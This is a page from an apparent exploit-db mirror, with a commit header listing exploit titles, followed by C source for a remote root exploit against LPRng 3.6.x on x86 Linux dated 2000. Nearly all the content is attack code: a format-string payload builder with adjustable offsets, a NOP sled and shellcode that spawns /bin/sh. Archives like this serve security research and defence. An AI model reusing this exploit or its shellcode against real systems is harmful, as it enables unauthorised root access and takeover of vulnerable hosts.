exploit-db-mirror/platforms/linux/remote/226.c
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

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Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
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New-CMS - Multiple Vulnerability
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Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
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JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
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My Kazaam Notes Management System Multiple Vulnerability
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Omnidocs - Multiple Vulnerability
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Web Cookbook Multiple Vulnerability
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KikChat - (LFI/RCE) Multiple Vulnerability
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Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

92 lines
2.5 KiB
C
Executable file

/*
* LPRng remote root exploit for x86 Linux
* 9/27/00
*
* - sk8
* tested on compiled LPRng 3.6.22/23/24
*
*/
#include <unistd.h>
#include <stdio.h>
char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
char getbuf[1000];
int bpad=0; /* was 2 */ /* 3 for other */
/* 2 - -34
3 - -41
0 - -42
*/
int i=0;
int eiploc=0x41424344;
char buffer[1024];
char fmtbuf[128];
int shloc=-1; //0xbffff2c8;
int hi=100;
int lo=200;
int pre=0;
int align=-36;
int pos=511; //483; //488; /*299;*/
int debug=0;
char s=0;
char mode='n';
while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
switch(s) {
case 'a': align=atoi(optarg); break;
case 'b': bpad=atoi(optarg);
break;
case 'e': eiploc=strtoul(optarg, 0,0);
break;
case 's': shloc=strtoul(optarg, 0, 0);
break;
case 'p': pos=atoi(optarg); break;
case 'd': debug=1; break;
default:
}
}
if (shloc == -1) shloc=eiploc+2450;
memset(buffer, 0, sizeof(buffer));
memset(fmtbuf, 0, sizeof(fmtbuf));
memset(buffer, 'B', bpad);
*(long*)(buffer+strlen(buffer))=eiploc+2;
*(long*)(buffer+strlen(buffer))=0x50505050;
*(long*)(buffer+strlen(buffer))=eiploc;
pre=strlen(buffer);
if (debug) { mode='p'; hi=100; lo=100; }
else {
hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
}
sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
strcat(buffer+strlen(buffer), fmtbuf);
/* make it easier to hit shellcode */
memset(buffer+strlen(buffer), NOP, 385);
strcat(buffer, sc);
*(char*)(buffer+strlen(buffer))=0;
fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
fprintf(stderr, "pos: %i\n", pos);
fprintf(stderr, "align: %i\n", align);
fprintf(stderr, "eip location: 0x%x\n", eiploc);
fprintf(stderr, "shellcode location: 0x%x\n", shloc);
fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
printf("%s", buffer);
putchar('\n');
}
// milw0rm.com [2000-12-11]